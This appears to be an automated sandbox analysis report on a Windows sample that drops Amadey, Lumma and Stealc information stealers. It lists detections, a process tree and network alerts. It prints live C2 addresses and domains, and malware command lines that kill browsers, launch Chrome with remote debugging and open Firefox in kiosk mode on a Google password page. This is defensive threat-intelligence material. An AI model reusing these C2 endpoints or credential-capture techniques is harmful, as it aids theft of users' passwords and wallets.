Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560643
MD5:	60f886c3617266309ac54c0775b86a1e
SHA1:	41f813ff0d3455bd4edc34770c6b96066a35ad8c
SHA256:	ff7b32c4800fb94bfd1cd6b2380b85009a9655a4f7018d117e3285f9d5b2986f
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1396 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 60F886C3617266309AC54C0775B86A1E)

skotes.exe (PID: 5856 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 60F886C3617266309AC54C0775B86A1E)

skotes.exe (PID: 6764 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 60F886C3617266309AC54C0775B86A1E)

skotes.exe (PID: 7816 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 60F886C3617266309AC54C0775B86A1E)

0db0ccc3ed.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe" MD5: 27FA50C74212925790649267140710F1)

e01d8601b1.exe (PID: 3736 cmdline: "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe" MD5: E26B7B214A9BCDADA5B6A91CED4F99B3)

chrome.exe (PID: 2132 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2172,i,4033161327773093289,5311636695156813661,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WerFault.exe (PID: 4044 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 1556 MD5: C31336C1EFC2CCB44B4326EA793040F2)

bebc60ce74.exe (PID: 7268 cmdline: "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe" MD5: 01BA490C6ED14545D61671AB153BD4E3)

taskkill.exe (PID: 7284 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2896 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2484 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7744 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2812 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3616 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

74f23764ea.exe (PID: 5032 cmdline: "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe" MD5: 28474A1CB1FAFE42F6E83116E07F1837)

0db0ccc3ed.exe (PID: 5572 cmdline: "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe" MD5: 27FA50C74212925790649267140710F1)

chrome.exe (PID: 8044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0db0ccc3ed.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 5600 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 416 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6544 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2244 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5282970-75f9-4307-8dad-68794cef3cce} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177dca6df10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3992 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4408 -parentBuildID 20230927232528 -prefsHandle 4344 -prefMapHandle 4340 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e2a56f3a-59fa-4b64-8f00-5927fb5efce1} 416 "\\.\pipe\gecko-crash-server-pipe.416" 177eec86210 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

e01d8601b1.exe (PID: 7296 cmdline: "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe" MD5: E26B7B214A9BCDADA5B6A91CED4F99B3)

bebc60ce74.exe (PID: 5124 cmdline: "C:\Users\user\AppData\Local\Temp\1008093001\bebc60ce74.exe" MD5: 01BA490C6ED14545D61671AB153BD4E3)

taskkill.exe (PID: 3720 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4176 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4452 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4236 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8004 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 516 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7272 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2716 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c442008-3ced-412d-9347-f3234b6d38f2} 7272 "\\.\pipe\gecko-crash-server-pipe.7272" 19c1ff6f310 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

74f23764ea.exe (PID: 6072 cmdline: "C:\Users\user\AppData\Local\Temp\1008094001\74f23764ea.exe" MD5: 28474A1CB1FAFE42F6E83116E07F1837)

0db0ccc3ed.exe (PID: 6180 cmdline: "C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe" MD5: 27FA50C74212925790649267140710F1)

e01d8601b1.exe (PID: 1244 cmdline: "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe" MD5: E26B7B214A9BCDADA5B6A91CED4F99B3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "p10tgrace.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "processhol.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000003.2943309001.0000000001671000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000002.3376968431.000000000170B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2844281590.0000000004D90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2825179151.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.3262564734.000000000114B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000034.00000002.3370665034.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1765529508.0000000000A91000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2828925343.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000034.00000003.3182952645.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2889608789.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2920452481.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1695658639.0000000004950000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000003.3266423642.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3146940575.000000000170E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2921483438.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1763961522.0000000000A91000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1723218150.00000000049C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2865846059.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2825415418.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000003.2666570442.0000000005220000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3253024678.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.3139427650.00000000009C1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2920033853.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2832268259.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2286425843.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.2865633678.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1725224135.00000000050C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1736452740.0000000000E21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: e01d8601b1.exe PID: 3736	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: e01d8601b1.exe PID: 3736	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: e01d8601b1.exe PID: 3736	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bebc60ce74.exe PID: 7268	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 0db0ccc3ed.exe PID: 5572	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 0db0ccc3ed.exe PID: 5572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0db0ccc3ed.exe PID: 5572	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.a90000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.e20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0db0ccc3ed.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe, ParentProcessId: 3736, ParentProcessName: e01d8601b1.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 2132, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7816, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\0db0ccc3ed.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:33.716416+0100	2028371	3	Unknown Traffic	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:35.947384+0100	2028371	3	Unknown Traffic	192.168.2.4	49825	172.67.155.248	443	TCP
2024-11-22T04:12:51.419691+0100	2028371	3	Unknown Traffic	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:53.949638+0100	2028371	3	Unknown Traffic	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:12:57.878130+0100	2028371	3	Unknown Traffic	192.168.2.4	49895	172.67.155.248	443	TCP
2024-11-22T04:13:00.617786+0100	2028371	3	Unknown Traffic	192.168.2.4	49906	172.67.155.248	443	TCP
2024-11-22T04:13:03.466398+0100	2028371	3	Unknown Traffic	192.168.2.4	49924	172.67.155.248	443	TCP
2024-11-22T04:13:08.455114+0100	2028371	3	Unknown Traffic	192.168.2.4	49938	172.67.155.248	443	TCP
2024-11-22T04:13:12.435155+0100	2028371	3	Unknown Traffic	192.168.2.4	49951	172.67.155.248	443	TCP
2024-11-22T04:13:19.684595+0100	2028371	3	Unknown Traffic	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:24.565369+0100	2028371	3	Unknown Traffic	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:26.855047+0100	2028371	3	Unknown Traffic	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:29.832334+0100	2028371	3	Unknown Traffic	192.168.2.4	50006	172.67.155.248	443	TCP
2024-11-22T04:13:32.742389+0100	2028371	3	Unknown Traffic	192.168.2.4	50018	172.67.155.248	443	TCP
2024-11-22T04:13:36.364776+0100	2028371	3	Unknown Traffic	192.168.2.4	50029	172.67.155.248	443	TCP
2024-11-22T04:13:41.099393+0100	2028371	3	Unknown Traffic	192.168.2.4	50056	172.67.155.248	443	TCP
2024-11-22T04:13:45.262135+0100	2028371	3	Unknown Traffic	192.168.2.4	50074	172.67.155.248	443	TCP
2024-11-22T04:13:47.579544+0100	2028371	3	Unknown Traffic	192.168.2.4	50087	172.67.155.248	443	TCP
2024-11-22T04:15:53.328074+0100	2028371	3	Unknown Traffic	192.168.2.4	50282	20.50.80.209	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:24.618629+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49794	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:34.744443+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:52.279185+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:12:54.688432+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:13:20.457402+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49973	172.67.155.248	443	TCP
2024-11-22T04:13:25.292927+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49989	172.67.155.248	443	TCP
2024-11-22T04:13:27.601124+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49996	172.67.155.248	443	TCP
2024-11-22T04:13:48.329280+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50087	172.67.155.248	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:34.744443+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49818	172.67.155.248	443	TCP
2024-11-22T04:12:52.279185+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49872	172.67.155.248	443	TCP
2024-11-22T04:13:25.292927+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49989	172.67.155.248	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:54.688432+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49883	172.67.155.248	443	TCP
2024-11-22T04:13:27.601124+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49996	172.67.155.248	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T04:12:33.716416+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49818	172.67.155.248	443	TCP
